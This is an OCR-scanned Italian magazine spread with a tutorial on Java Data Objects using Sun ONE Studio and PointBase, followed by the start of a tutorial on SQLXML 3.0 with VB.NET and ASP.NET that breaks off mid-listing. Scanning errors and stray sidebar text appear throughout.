pologie di data-store, vale a dire database rela- 
zionali, file proprietari, xml, ecc.. Oggi, grazie a 
JDO, i programmatori Java possono finalmente 
utilizzare uno standard per rendere gli oggetti 
persistenti. In questo articolo cercheremo di mo- 
strare come, perché e quando utilizzare JDO. Per 
prima cosa, introdurremo l'attuale scenario; 
quindi le differenti soluzioni che un program- 
matore ha per implementare un "sistema persi- 
stente", cioè: serializzazione, JDBC/SQLJ oppu- 
re altre tecnologie proprietarie. Poi, passeremo 
ad esaminare i concetti fondamentali di JDO. Si 
vedrà perché JDO rappresenta una soluzione 
portabile, riusabile e scalabile per scrivere appli- 
cazioni Java che accedono ad oggetti persistenti. 
In fine, sarà sviluppato un esempio pratico 
usando Sun ONE Studio 3.0 Community Edi- 
tion. 



PERCHE JDO 

Negli ambienti orientati agli oggetti, come Java, 
gli oggetti sono entità esclusivamente residenti 
in memoria centrale. I dati contenuti all'interno 
degli oggetti sono quindi temporanei, in quanto 
saranno distrutti una volta che l'applicazione 
sarà terminata. In molte circostanze, nasce l'esi- 
genza di rendere gli oggetti persistenti in modo 
che i dati possano essere salvati per un'esecuzio- 
ne successiva, oppure essere condivisi da diver- 
se applicazioni. Per realizzare questo, esistono 
già numerose soluzioni. Per esempio, la serializ- 
zazione messa a disposizione da Java, attraverso 
l'interfaccia java.io.Serializable, rende possibile 
salvare il contenuto di un oggetto su file. Questa 
soluzione presenta il vantaggio che è supportata 
direttamente dal JDK, quindi non è necessario 



acquistare o installare moduli esterni. Inoltre, gli 
oggetti persistenti sono normali oggetti Java, la 
cui unica restrizione è quella di implementare 
l'interfaccia java.io.Serializable. Questo approc- 
cio, anche se semplice da realizzare, presenta 
numerosi aspetti negativi. Infatti, il programma- 
tore ha la responsabilità di implementare i det- 
tagli per la memorizzazione sul data-store al fi- 
ne di ottenere la persistenza. Inoltre, la serializ- 
zazione è inadeguata per eseguire query o ag- 
giornamenti ad alte prestazioni. In fine, non c'è 
nessun supporto per le transazioni. Una seconda 
soluzione per realizzare la "persistenza" è quella 
di usare un database relazionale come data-sto- 
re. Usando JDBC o SQLJ, il programmatore può 
memorizzare, aggiornare e fare query su oggetti 
in modo molto efficiente. Questo approccio è 
quello attualmente più usato nel mondo dell'In- 
formation Technology. Il vantaggio principale 
sta nel fatto che il back-end del sistema è rap- 
presentato da DBMS robusti, collaudati e ad ele- 
vate prestazioni come Oracle, SQL-Server o Sy- 
base. Inoltre, le operazioni sui dati sono effet- 
tuate attraverso il linguaggio standard SQL e c'è 
il supporto per le transazioni. Nonostante questi 
vantaggi, il programmatore avrà comunque la 
responsabilità di progettare il sistema che tradu- 
ce gli oggetti Java, elementi compatibili con le 
tabelle del database relazionale; questo non è 
certo un lavoro da poco. In effetti, esistono sul 
mercato numerosi prodotti che forniscono un 
mapping automatico tra oggetti e database rela- 
zionali. Alcuni di essi sono sviluppati e distri- 
buiti con il database stesso; generalmente sono 
prodotti molto efficienti ed estremamente otti- 
mizzati. Un'ultima soluzione è quella di usare 
un database orientato agli oggetti. In questo mo- 
do l'applicazione Java potrà memorizzare diret- 
tamente gli oggetti nel database usando le API 
fornite con il database stesso. Prodotti come Ver- 
sant, Object Store, Poet sono i database orientati 
agli oggetti più utilizzati del momento. In ogni 



106 ►►► M a g g 



3 



http: //www. itport al.it 



caso, le soluzioni proposte usano tecnologie non 
standard per accedere agli oggetti; ogni prodot- 
to ha le proprie caratteriste e la propria API. 
Questo può essere un serio problema per la por- 
tabilità che, come vedremo, JDO risolve brillan- 
temente. 



ARCHITETTURA JDO 

JDO può essere usato indifferentemente in archi- 
tetture client-server classiche, oppure con in si- 
stemi n-tier dotati di un application server. Le 
applicazioni dialogano esclusivamente con JDO, 
ignorando completamente il sistema di memo- 
rizzazione dei dati sottostante. Il mapping tra 
oggetti Java e strutture fisiche che compongono 
la base di dati è effettuato autonomamente da 
JDO in maniera del tutto trasparente. 



Application 



JDO 



1 



JavaVM 



DB 



Fig. 1: Architettura JDO per sistemi client-server a 
due strati. 

Come si può notare dalla Fig. 1, l'unico strato 
che accede alla fonte di dati è JDO. Le applica- 
zioni invece utilizzeranno esclusivamente gli 
oggetti forniti dall'implementazione di JDO e 
non avranno accesso diretto al database. Cam- 
biando la fonte di dati e l'implementazione di 
JDO, le applicazioni dovrebbero continuare a 
funzionare senza che si renda necessaria alcuna 
modifica. Come è già stato detto, JDO può esse- 
re anche utilizzato da un application server (Fig. 
2). In questo caso, le applicazioni client dialo- 
gheranno con l'application server in modo da 




Fig. 2: Architettura JDO per sistemi che usano 
application server. 



accedere - attraverso CORBA, RMI o EJB - agli 
oggetti persistenti. Anche in questo caso, se il 
database e l'implementazione di JDO cambiano, 
le applicazioni client continueranno a funziona- 
re ugualmente. 



INTERFACCE JDO 

La specifica JDO fornisce un insieme d'interfac- 
ce standard per accedere, memorizzare e gestire 
oggetti persistenti. I principali componenti pre- 
senti in JDO sono i seguenti: 

• Classi PersistentCapable. In JDO tutti gli 
oggetti persistenti sono istanze dell'interfac- 
cia PersistentCapable. Fortunatamente questa 
è un'operazione che avviene in modo traspa- 
rente. Il programmatore non deve esplicita- 
mente costruire le proprie classi in modo che 
implementino PersistentCapable. 
Generalmente, le varie implementazioni di 
JDO mettono a disposizione un tool che pro- 
cessa le classi definite dall'utente e che le ren- 
de trasparentemente PersistentCapable. Que- 
sto processo - chiamato enhancing - aggiun- 
ge il codice necessario alle classi per il sup- 
porto alla persistenza. 

• PersistentManager. Quest'interfaccia gesti- 
sce gli accessi e le memorizzazioni degli og- 
getti, nonché le query e le transazioni. Può 
essere considerato l'oggetto principale di tut- 
ta la specifica JDO. Grazie al PersistentMana- 
ger le applicazioni possono rendere gli ogget- 
ti persistenti, aprire e chiudere le transazioni 
ed effettuare query. Il PersistentManager può 
essere visto come l'anello di congiunzione tra 
le applicazioni client e l'implementazione 
JDO. 

• Transaction. JDO rende effettivo il supporto 
delle transazioni grazie all'interfaccia Tran- 
saction. Le applicazioni possono aprire nuove 
transazioni e chiuderle attraverso le usuali 
operazioni di commit o rollback. 

• Query. L'interfaccia Query può essere utiliz- 
zata per reperire oggetti che soddisfano un 
determinato criterio. JDO usa un linguaggio 
standard per inoltrare le query. Sono suppor- 
tate anche query parametriche. 



SUN ONE STUDIO 3.0 

Sun ONE Studio (già Forte for Java) è un IDE 
che comprende un insieme di tool progettati per 
i programmatori Java professionisti. ONE Stu- 
dio permette, in modo semplice ed intuitivo, di 
gestire progetti che utilizzano Java e tutto ciò 




Java 

Data Object 



Uno strato 
impermeabile 



Le applicazioni 
utilizzano esclu- 
sivamente JDO per ac- 
cedere ai dati: ciò per- 
mette una completa 
separazione fra codice 
e DBMS, consentendo 
facili aggiornamenti e 
semplificando le modi- 
fiche conseguenti ai 
cambiamenti di piat- 
taforma. 



http ://www.itport al.it 



g g 



3 ►►► 107 




Java 

Data Object 



Wizard 



FI Sun One Studio 
7_ semplifica note- 
volmente il lavoro del- 
lo sviluppatore: speci- 
fici tool si occupano di 
generare buona parte 
del codice necessario 
ad interfacciare un'ap- 
plicazione Java con i 
database. 



JDO 



Attraverso la stan- 
dardizzazione dei 
meccanismi di collega- 
mento fra database e 
applicazioni Java, JDO 
rende disponibile la por- 
tabilità di Java anche in 
un ambito dominato fi- 
nora da soluzioni pro- 
prietarie. 




ase; Iliaca Ihostfea triple 



> 



OK Csncel 



Fig. 3: La dialog "Connect to Database" della 
console di PointBase. 



che vi ruota intorno: JSP, EJB, CORBA, RMI, 
Servlet, XML, JDBC, JDO ecc.. Il modulo Tran- 
sparent Persistence di ONE Studio è un esempio 
di implementazione JDO. Esistono altre imple- 
mentazioni commerciali di JDO come Castor, 
OpenFusion, KodoJDO, RexipJDO e Versant-Ju- 
do. In quest'articolo ho scelto ONE Studio per 
un paio di ragioni: ONE Studio 3.0 Cummunity 
Edition è disponibile gratuitamente (vedi risor- 
se); inoltre esso effettua il mapping tra gli ogget- 
ti Java ed un database relazionale (PointBase). 
Quest'ultimo aspetto è molto importante poiché 
i progettisti di sistemi object oriented devono 
spesso scontrarsi con questo tipo di problema. Il 
codice presentato in quest'articolo mostrerà co- 
me rendere un oggetto Java persistente, inoltra- 
re query ed usare le transazioni. Il primo passo 
da fare è quello di installare Sun ONE Studio 3.0. 
Durante l'istallazione verrà chiesto se installare 
PointBase: rispondere "yes". Dopo aver installa- 
to il prodotto, bisogna costruire un database d'e- 
sempio. Per evitare quest'operazione noiosa 
possiamo usare il database fornito con PointBa- 
se. Il nome di questo database è "sample". Usan- 
do la console di PointBase è possibile ottenere 
una connessione al database in modo da poterne 
esplorare la struttura. Il batch file per far partire 
la console sta nella directory pointbase\client. In 
Fig. 3 è mostrata la dialog di connessione: l'URL 
specifica il database, in questo caso "jdbc::point- 
base//localhost/sample". Come si può notare, la 
console usa un driver JDBC per accedere al da- 
tabase. Affinché la connessione possa avvenire, 
è necessario far partire prima il PointBase Net- 
work Server attraverso la voce di menù Tools 
I PointBase Network Server. Grazie alla console è 
possibile inoltrare query in SQL, cambiare la 
struttura del database ed effettuare operazioni 
sui dati. Il database sample contiene 11 tabelle; 
noi useremo CUSTOMER_TBL. Il passo succes- 
sivo è mappare le tabelle in oggetti Java: bisogna 
creare una classe Java per ogni tabella del data- 
base alla quale s'intende accedere. Per fortuna, 



ONE Studio ha un tool che effettua quest'opera- 
zione automaticamente. Attraverso la voce di 
menù Tools I Capture Schema è possibile utilizzare 
un tool che crea le classi Java a partire dalla 
struttura del database (Fig. 4). 




Fig. 4: Il wizard "Capture Schema". 

Come si può notare, il tool consente di scegliere 
le tabelle da mappare; io suggerisco di selezio- 
narle tutte. Il risultato finale sarà un file XML (di 
estensione .mapping) che contiene tutte le infor- 
mazioni riguardanti la struttura del database. 
Successivamente, mediante questo file XML, sa- 
ranno generati i file sorgenti relativi alle classi 
Java. Tutta l'operazione porta alla creazione del 
modulo DatabaseSchema (Fig. 5). 











SII Explorer [Filesystems] i 




(^ Filesystems I^J 
*p OD c:^ava\forte4j\prjlsampledir 
*p ^ dbsample 

©- gr CustomerTbl 






©- g? DiscountCodeTbl 
©- g? ManufactureTbl 
©- gr MicroMarketsTbl 
©- gr OfficeTbl 
& g? OfficeTypeCodeTbl 
©- g? OrderTbl 










> g? ProductCodeTbl 










> gr ProductTbl 










> g? SalesRepTbl 

> g? SalesTaxCodeTbl 






3 dbsample 
©■ □ examples 
O □ tutoria! 
O gf CustomerTbl 
O- ^ DatabaseSchema 




o H 


f DiscountCodeTbl 




O- g? ManufactureTbl 






©- gr" MicroMarketsTbl 






0- g> OfficeTbl 






O gj- OfficeTypeCodeTbl 
©■ g? OrderTbl 






O- gf ProductCodeTbl 
©- g> ProductTbl 






©- gr* SalesRepTbl 

O E- SalesTaxCodeTbl M 




Q Filesystems 


O Project Default J| Javadoc =i= Runtime 









Fig. 5: Il modulo DatabaseSchema. 

Cliccando con il tasto destro del mouse su que- 
sto modulo apparirà un pop-up menù; sceglien- 
do Generate Java FIDE genererà le classi Java re- 
lative alle tabelle del database sample. Specifi- 



108 ►►► M a g g 



3 



http: //www. itport al.it 



cando come package di destinazione dbsampìe, 
troveremo qui i sorgenti Java. 
A questo punto è possibile aggiungere la busi- 
ness logie alle classi generate. Per completare 
l'operazione bisogna compilare il package è 
creare un jar con tutti i file .class risultanti (db- 
sampìe.jar). Il jar deve essere creato con lo speci- 
fico tool di ONE Studio il quale provvede anche 
ad effettuare l'enhancing in modo automatico. 
Badate bene a includere nel jar il file XML con 
estensione .mapping. Attraverso questo file, l'im- 
plementazione di JDO riesce a mappare gli og- 
getti Java all'interno delle tabelle di PointBase. 
Inoltre, è meglio non aggiungere i sorgenti nel 
jar, potrebbero causare dei conflitti con i rispetti- 
vi .class. 



ESEMPI 

In questo paragrafo saranno mostrati alcuni 
esempi di utilizzo di JDO. Per compilare ed ese- 
guire correttamente gli esempi, bisogna inserire 
i seguenti jar, disponibili in ONE Studio, nella 
variabile di ambiente CLASSPATH: 

• persistence-rt.jar: modulo per la Trasparent 
Persistence; 

• dbschema.jar: modulo per lo schema del data- 
base; 

• xerces.jar: parser XML; 

• pbclient35RE.jar: PointBase (client); 

• dbsample.jar: le nostre classi generate. 

Il primo passo consiste nell'implementare una 
factory per la connessione al database dalla qua- 
le ottenere istanze di PersistentManager. La fac- 
tory deve implementare la seguente interfaccia: 

import com.sun.forte4j. persistence.* 

public interface PersistenceManagerProvider { 

public PersistenceManager getPersistenceManager(); 
} 

Attraverso il metodo getPersistetManager è possi- 
bile ottenere l'oggetto PersistentManager. Come 
si può notare, viene importato il package 
com.sun.forteA] .persistence* . Il nome di questo 
package non è definitivo, la versione definitiva 
si chiamerà javax.jdo. L'implementazione concre- 
ta dell'interfaccia è forse l'unica cosa che dipen- 
de fortemente dal database sottostante giacché 
effettua la connessione. Di conseguenza, l'imple- 
mentazione deve essere cambiata ogni qualvolta 
il database cambia. La seguente è l'implementa- 
zione di PersistentManagerProvider per ottenere 



una connessione al database PointBase di nome 
sample: 

import com.sun.forte4j. persistence.*; 

import dbsampìe.*; 

public class PointBaselmpI implements 

PersistenceManagerProvider { 
private PersistenceManager _pm = nuli; 
public PointBaseImpl() { 
// PersistenceManagerFactory 
PersistenceManagerFactory pmf = 

new PersistenceManagerFactoryImpl(); 
// Opzioni di connessione 
pmf.setConnectionUserl\lame(" PUBLIC"); 
pmf.setConnectionPassword("PUBI_IC"); 
pmf.setConnectionDriverName 
("com.pointbase.jdbc.jdbcllniversalDriver"); 
pmf.setConnectionURL( "jdbcipointbase: 

//localhost/sample," + "max.connections=0"); 
pmf.setOptimistic(true); 
// Ottiene il PersistenceManager 
_pm = pmf.getPersistenceManagerO; 
System. out.println("JDO connessione ok!");} 
// ritorna il PersistenceManager 

public PersistenceManager getPersistenceManager() { 
return _pm; 

_J 

} 

La classe PointBaselmpI ha l'attributo privato 
_pm che rappresenta un'istanza di PersistenceMa- 
nager. Il costruttore effettua la connessione al da- 
tabase "jdbc::pointbase://localhost/sample" usando 
il driver JDBC com.pointbase.jdbc.jdbcllniversal- 
Driver. Come si può notare, le opzioni di con- 
nessione - database, driver, loghi, password - so- 
no passate al PersistentManagerFactory. Quest'in- 
terfaccia consente di ottenere un oggetto Persi- 
stenManager, mediante il metodo getPersistent- 
Manager, che successivamente sarà memorizzato 
nella variabile _pm. Il metodo getPersistentMana- 
ger di PointBaselmpI - da non confondere con 
quello di PersistentManagerFactory - restituisce 
proprio il valore di _pm, cioè il PersistentManager 
associato alla connessione. Attraverso PointBa- 
selmpI, un'applicazione Java può quindi ottenere 
un PersistenManager che rende effettiva la persi- 
stenza usando il database PointBase: 

PersistenceManagerProvider provider = new PointBaseImpl(); 
PersistenceManager pm = provider.getPersistenceManager(); 

Una volta ottenuto un oggetto di PersistentMa- 
nager, è possibile rendere gli oggetti persistenti 
come mostrato dal seguente listato: 

private void makePersistent()throws Exception { 
// ottiene il PersistenceManager 
PersistenceManagerProvider provider = new PointBaselmplQ; 




Java 

Data Object 



Sul Web 



Java Community 
Process JSR-000012 

http://www.icp.org/about 

Java/communityprocess/ 

first/isr012/ 

Sun ONE Studio 3.0 
Cummunity Edition - 

http://wwws.sun.com/ 

software/sundev/archive/ 

ffj/buy.html 

Giuseppe Naccarato 
[Sito Web] 

http: //www, qiuseppe-nac- 
carato.com. 



http ://www.itport al.it 



Maggio 



2 3 ►►► 109 




Java 

Data Object 



Bibliografia 

• PERSIST DATA WITH 

JAVA DATA OBJECTS, 

PART 1 

J. Kruszelnicki 

JavaWorld 

Marzo 2002 

http: //www, iavaworld.com 

/iavaworld/iw-03-2002 

/iw-0301-ido.html 

• USING JAVA DATA 

OBJECTS 

D. Almaer 

OnJava 

Giugno 2002 

http://www.oniava.com/ 

pub/a/oniava/2002/02/06 

/idol.html 



PersistenceManager pm = provider.getPersistenceManager(); 

// inizio transazione 

pm.currentTransaction().begin(); 

// creazione di un nuovo cliente 

CustomerTbl customer = new CustomerTbl(); 

customer.setCustomerNum(9090); 

customer.setName("Northest Itd"); 

customer.setAddrLnl("290E 55th Street"); 

customer.setAddrl_n2(""); 
customer.setCity("New York City"); 
customer.setCreditLimit(new Integer(34000)); 
DiscountCodeTbl de = new DiscountCodeTbl(); 
dc.setDiscountCode("K"); 

customer.setDiscountCodeTblOfDiscountCode(dc); 
MicroMarketsTbl mm = new MicroMarketsTbl(); 
mm.setAreaLength(new Double(8.92)); 

mm.setAreaWidth(new Double(9.92)); 

mm.setRadius(new Double(9.92)); 

mm.setZipCode("88900"); 

customer.setMicroMarketsTblOfZip(mm); 
// rendi l'oggetto persistente 
pm.makePersistent(customer); 
// commit 
pm.currentTransaction(). commit() ; 



} 



Come si può notare, il metodo ottiene un'istanza 
del PersistentManager attraverso il metodo get- 
PersistentManager di PersistentManagerProvider. 
Quindi fa partire la transazione, crea l'oggetto 
customer appartenente alla classe CustomerTbl, 
riempie i campi e infine - invocando il metodo 
makePersistent - lo rende persistente. Attraverso 
la console di PointBase possiamo effettivamente 
constatare che un nuovo oggetto è stato aggiun- 
to alla tabella CUSTOMER_TBL. 
Come è già stato detto, JDO consente di effet- 
tuare query e lo fa sfruttando tutte le ottimizza- 
zioni e le feauture disponibili nel database sotto- 
stante. JDO usa un linguaggio standard per inol- 
trare la query molto simile ad SQL. Solitamente 
una query consiste di tre principali elementi: 
una collezione di istanze JDO candidate, un og- 
getto di tipo Class rappresentante la classe (o 
una sottoclasse) delle istanze candidate e una 
stringa che specifica il criterio di ricerca. Il lista- 
to seguente mostra un esempio di query su og- 
getti CustormerTbl: 

private void query() throws Exception 

{ 

// ottiene il PersistenceManager 

PersistenceManagerProvider provider = new PointBaseImpl(); 
PersistenceManager pm = provider.getPersistenceManagerQ; 
// inizio transazione 
pm.currentTransaction().begin(); 

// prepara la query 

Class CustomerTbICIass = (new CustomerTbl()).getClass(); 
Collection extent = pm.getExtent(CustomerTblClass, false); 



Query q = pm.newQuery ( 

CustomerTbICIass, // class 

extent, // candidati 

"creditLìmit > 25000" // criterio 

)i 

Il esegue la query 

Collection col = (Collection) q.execute(); 

// mostra i risultati 
Iterator i = col.iterator(); 
while (i.hasNext()) 

A 

CustomerTbl customer = (CustomerTbl) i.next(); 

System. out.println("Cliente = " + customer.getName()); 
_} 

// commit 

pm. currentTransaction(). commit() ; 
} 

La query restituirà tutti i clienti il cui limite di 
credito (creditLimit) è maggiore di 25.000. 



TRANSAZIONI 

Al PersistentManager è associato un oggetto di ti- 
po Transaction, usato per gestire transazioni che 
coinvolgono gli oggetti persistenti. Il metodo 
currentTransaction restituisce la transazione cor- 
rente come istanze dell'interfaccia Transaction. 
Abbiamo già visto all'opera questo metodo negli 
esempi precedenti. 

L'interfaccia Transaction contiene i seguenti me- 
todi: 



void begin(); 


// fa partire una transazione 


void commitO; 


// effettua il commit sulla transazione 




corrente 


void rollbackO, 


// effettua il rollback sulla transazione 




corrente boolean isActive(); // restituisce 




true se la transazione è attiva 



JDO è in grado di gestire entrambi: transazioni 
di tipo ottimistico e pessimistico. 



CONCLUSIONI 

La specifica JDO fornisce un metodo flessibile e 
standard per gestire oggetti persistenti. Sempli- 
fica notevolmente lo sviluppo di applicazioni si- 
cure e scalabili assicurando la portabilità e l'in- 
tegrazione tra differenti tecnologie. 
Il codice JDO è semplice, intuitivo e - cosa mol- 
to importante - può essere usato con differenti 
fonti di dati. Nonostante JDO sia ancora giovane 
ed in via di sviluppo, i benefici del suo utilizzo 
sono chiari fin da adesso. 

Giuseppe Naccarato 



110 ►►► M a g g 



2 3 



http: //www. itport al.it 



< 4 ■* 4 ■* -4 4 ■* < Advanced Edition 

Accesso 

AI DATI CON SQL2000, SQLXML 3.0 
E VISUAL BASIC.NET 



In questa seconda parte dell'articolo, continueremo la nostra 
esplorazione delle possibilità offerteci dalla tecnologia 
SQLXML all'interno di un'applicazione .NET. 




La nostra applicazione si configurerà come appli- 
cazione server ed utilizzerà l'infrastruttura di 
ASP.NET., impiegando come sorgente dati il da- 
tabase demo di SQL Server, ovvero Northwind. Svi- 
lupperemo per Northwind una serie di funzionalità 
che permetterà la consultazione di cataloghi di prodot- 
ti, l'aggiornamento di quantità ordinate ed un Web Ser- 
vice che permetterà l'accesso alle funzionalità da qual- 
siasi piattaforma, ad esempio anche dalle vecchie ap- 
plicazioni COM. L'accesso ai dati sarà realizzato me- 
diante SQLXML. 



CREIAMO L'APPLICAZIONE 

Per cominciare, creiamo una nuova applicazione WEB 
ASP.NET, denominandola NorthWeb. Dopo aver fatto 
ciò, andiamo ad includere il riferimento all'assembly, 
che permetterà l'accesso alle funzionalità di SQLXML. 
Dal menu Progetto scegliamo Aggiungi Riferimento e cer- 
chiamo nella lista dei componenti .NET l'assembly Mi- 
crosoft Data. SqlXmLdìl, il quale contiene il namespace 
Microsoft Data. SqlXml, versione 3.0.1523.0. L'altra opera- 
zione che vi consiglio di fare, è quella di eliminare il co- 
siddetto "root namespace" che Visual Studio genera 
ogni volta che creiamo un'applicazione VB.NET. Per far 
questo, dopo aver selezionato il file del progetto, sele- 
zioniamo Progetto I Proprietà e rimuoviamo il namespa- 
ce creato automaticamente per noi da Visual Studio. 
L'onere che avremo sarà quello di anteporre il name- 
space in tutte le classi del nostro progetto, ma la chia- 
rezza della struttura del progetto ne guadagnerà mol- 
tissimo, soprattutto se osservata nell'object browser (F2 
se avete la mappatura di tastiera VB6-Style). A questo 
punto abbiamo tutto ciò che ci occorre per lavorare al- 
l'interno del nostro progetto. L'unica cosa che ci rimane 
da fare è scrivere un po' di codice! 



CONFIGURAZIONE 
E CONNESSIONI 

Il primo file sul quale agiremo sarà Web.Config. Do- 



vremo infatti aggiungere una sezione "appSettings" nel- 
la quale inserire due chiavi: 

• La prima sarà una stringa di connessione classica a 
SQL Server 2000; 

• La seconda un URL che punterà al nostro pseudo 
sito NorthWind creato e configurato nell'articolo 
precedente. 

<configuration> 

<appSettings> 
<add key="SQLConnectionString" 

value="Provider=SQLOLEDB;server=localhost; 

uid = sa;pwd=;database=NORTHWIND" /> 

<add key="IISConnectionURL" 

value="http://localhost/Northwind" /> 
</appSettings> 

</configuration> 

Per inciso: questa è un'applicazione di studio, perciò è 
assolutamente ammissibile che nella stringa di connes- 
sione compaiano login e password del database, per di 
più dell'amministratore. Nel mondo reale NON utiliz- 
zatele mai, create sempre degli utenti con credenziali 
aventi permessi ristretti ed impiegate estesamente la 
Trusted Connection, detta anche Integrated Security. 
Questi accorgimenti sono da tenere assolutamente in 
conto, a meno di non voler andare incontro a problemi 
di Sqllnjection o altri "exploit", dannosi per il database. 
Impostate queste stringhe amministrative, creiamo an- 
che una classe di nome GlobalFunctions, la quale sarà 
adibita a contenitore di funzioni shared (statiche) di 
uso comune. E preferibile utilizzare questo meccani- 
smo invece dei vecchi moduli .bas di Visual Basic 6.0, 
in quanto dichiarando un membro di classe statico, ov- 
vero richiamabile senza la necessità della creazione del- 
la classe stessa, saremo perfettamente allineati con i pa- 
radigmi della programmazione ad oggetti. All'interno 
di questa classe, definiamo tre semplici helper func- 
tions per recuperare velocemente le impostazioni di 



Ikl File sul CD 

\soft\codice\SQLXML 



File sul Web 

www.itportal.it/iop69 
/SQLXML 



SQL2000 

BOOKS 

ONLINE 

Spesso sottovalu- 
tati o addirittura 



sconosciuti, I cosiddet- 
ti Books Online di SQL 
Server 2000 rappre- 
sentano una fonte ine- 
sauribile di informazio- 
ni. Se installate SQL 
2000, ricordatevi an- 
che di installarvi tutti 
gli esempi relativi ai 
vari usi degli oggetti 
ad esso collegati: ADO, 
SQL-DMO, ecc. 



http ://www.itport al.it 



g g 



3 ►►► 111 




SQL 
XML 



base dal file Web.Config: 

Public Shared Function SQLConnectionString() As String 

Dim _strTemp As String = "" 

Try 

_strTemp = ConfigurationSettings.AppSettings( 
"SQLConnectionString") 

Catch ex As Exception 
'do nothing 

End Try 

Return _strTemp 
End Function 



Provate a pensare al vantaggio che una tale soluzione 
assicura: è possibile installare delle "piccole" applica- 
zioni server in ogni sede staccata, ciascuna delle quali 
risponderà a delle interrogazioni della sede centrale, la 
quale si occuperà di aggregare, rendere consistenti e 
presentare i dati come l'utente li ha richiesti, tramite 
pagine ASP.NET o Web Services. Nella nostra applica- 
zione, non svilupperemo tale architettura, essendo 
troppo onerosa in termini di spazio per la descrizione 
approfondita, ma forniremo prova della possibilità di 
effettuare in pratica queste interrogazioni. 
Svilupperemo: 



EVERETT 

Questo il nome in 
codice della nuo- 
va versione di Visual 
Studio .NET, la cui Fi- 
nal Beta (in inglese) è 
stata rilasciata nel me- 
se di Novembre 2002. 
L'integrazione con di- 
spositivi mobili si fa 
ancora più stretta, e 
con l'architettura GXA 
(Global Xml Architec- 
ture) alle porte è un 
must tenersi costante- 
mente aggiornati. 



Oltre alla funzione qui presentata, ne vengono definite 
altre due per reperire la connessione al sito NorthWind 
ed alla directory contenente i file template XML ese- 
guibili sulla nostra fonte dati. Questi ultimi si compor- 
teranno più o meno come delle "stored procedure", ov- 
vero rappresenteranno dei blocchi di estrazione, inseri- 
mento o modifica di informazioni all'interno della no- 
stra base di dati, che noi potremo invocare da qualun- 
que applicazione che necessiti di tali servizi. Vediamo 
in dettaglio l'idea in Fig. 1. La figura illustra un'archi- 
tettura possibile per la nostra applicazione. Possibile 
perché grazie alle tecniche basate su SQLXML, la sca- 
labilità ed il decentramento sono la base della funzio- 
nalità della soluzione proposta. Possiamo mantenere 
uniti o separare, nel senso fisico del termine, i vari ser- 
vizi di accesso ai dati che al nostra applicazione impie- 
gherà. 



ni 



Clients (IE, WìnForms, Java...) 



g 





Server NorthWind 



Fig. 1: Diagramma di connessione e servizi 
templated. 

Possiamo individuare: 

• II server web: produce pagine ASP.NET e fornisce 
web services interrogando fonti dati mediante 
SQLXML o ADO.NET. 

• II server di database: all'interno della stessa rete del 
server web, fornisce servizi di accesso ai dati ad al- 
te prestazioni. 

• Il server NorthWind decentrato, nel quale si potrebbe 
riconoscere una sede staccata della NorthWind 
stessa, magari un magazzino o un deposito del 
quale si vogliano conoscere dati di diversa natura 
quali disponibilità, giacenze e carichi. 



• Una pagina ASP.NET di consultazione del listino 
prodotti. 

• Un web service mediante il quale effettuare inter- 
rogazioni su prodotti e disponibilità. 

• Un client WinForm per consumare il web service. 

Il problema più grosso dell'applicazione, a dire il vero 
di qualunque applicazione che interagisca con Inter- 
net, ovvero la sicurezza, è stato volutamente tralascia- 
to per non appesantire troppo la discussione. 

CONSULTAZIONE 

DEL LISTINO PRODOTTI 

Vedremo ora due tecniche di consultazione del listino 
prodotti della nostra azienda fittizia. Provate ad imma- 
ginare il seguente scenario: la sede centrale di una 
grossa azienda, che distribuisce dei prodotti di largo 
consumo, riceve un ordine di una quantità di merce da 
parte di un certo cliente, e vuole determinare se il ma- 
gazzino più vicino alla sede dell'azienda del cliente 
può far fronte alla richiesta che appare nell'ordine. Nel 
caso di una gestione magazzino accentrata, i dati del 
deposito decentrato dovrebbero essere mantenuti ag- 
giornati nel database della sede centrale, in modo da 
essere consultabili prontamente dagli impiegati addet- 
ti all'evasione ordini. Ma se presso il deposito si instal- 
la un piccolo web server, che fornisca esclusivamente la 
possibilità di effettuare query da template sui dati del- 
le giacenze di magazzino, ecco che si può gestire un 
magazzino in modalità remota. Esaminiamo una solu- 
zione che effettua due tipi di interrogazioni: 

• Remote, con uso del supporto di SQL2000 ad US 

• Locali, mediante uso di SQLXml.NET 

INTERROGAZIONI 
REMOTE MEDIANTE 
RESPONSE-REQUEST 

La seconda modalità è molto interessante in quanto 
permette una piccola digressione su due oggetti molto 
interessanti del framework .NET, presenti nel Name- 
space System. Web, gli oggetti WebRequest e WebRe- 
sponse. L'oggetto WebRequest rappresenta una richie- 
sta http, e può essere utilizzato per formulare l'interro- 



112 ►►► M a g g 



3 



http: //www. itport al.it 



gazione di una determinata risorsa presente ad un par- 
ticolare indirizzo IP. Noi lo utilizzeremo per leggere la 
risposta del nostro server web e costruire una stringa 
contenente un documento XML. 

Public Function ExecuteRemoteTemplate(ByVal 

TemplateName As String) As String 
Dim strReq = GlobalFunctions.IISConnectionURL 

& "/Template/" & TemplateName 
Dim _request As WebRequest = WebRequest.Create(strReq) 
_request.Credentials = CredentialCache.DefauItCredentials 
Dim _response As WebResponse = _request.GetResponse() 
Dim respStream As Stream = _response.GetResponseStream() 
Dim reader As StreamReader = New StreamReader( 

respStream, Encoding. ASCII) 
Dim respXML As String = reader.ReadToEndQ 
respStream. Close() 
Return respXML 
End Function 

Esaminando il codice riportato, si possono notare varie 
tecniche, che ritengo peraltro interessanti per quanto 
riguarda la formulazione di richieste http. Dopo aver 
memorizzato la stringa contenente la nostra richiesta, 
creiamo un oggetto di tipo WebRequest passandogli co- 
me URL l'indirizzo della risorsa desiderata. La riga 
successiva crea un oggetto WebResponse che viene asse- 
gnato al metodo GetResponse dell'oggetto WebRequest. 
In questo modo l'oggetto _response conterrà la risposta 
http fornita dal server. A questo punto non resta che 
leggere i dati in arrivo (caratteri ASCII), con uno 
streamreader e ritornare una stringa contenente il do- 
cumento che il server ha inviato. Questa tecnica è lar- 
gamente impiegata da spider, webcrawler ed altri ro- 
bot che effettuano ricerca di contenuti all'interno di pa- 
gine web e che rappresentano i veri e propri "agenti" 
dei motori di ricerca. 

INTERROGAZIONE LOCALE 
CON SQLXML 

Per effettuare la stessa interrogazione in "locale" ovve- 
ro se vogliamo consultare il listino prodotti nel server 
SQL senza dover ricorrere ad una chiamata http, pos- 
siamo impiegare SQLXML e la sintassi FOR XML AU- 
TO largamente esaminata nel corso del precedente ar- 
ticolo. 

Public Function GetProducts() As XmlDocument 

Dim _resultDoc As New XmlDocument() 

Dim _memoryStream As New MemoryStream() 

Dim _streamReader As New StreamReader(_memoryStream) 

_memoryStream.Position = 

Dim _command As SqlXmlCommand = New SqlXmlCommand 

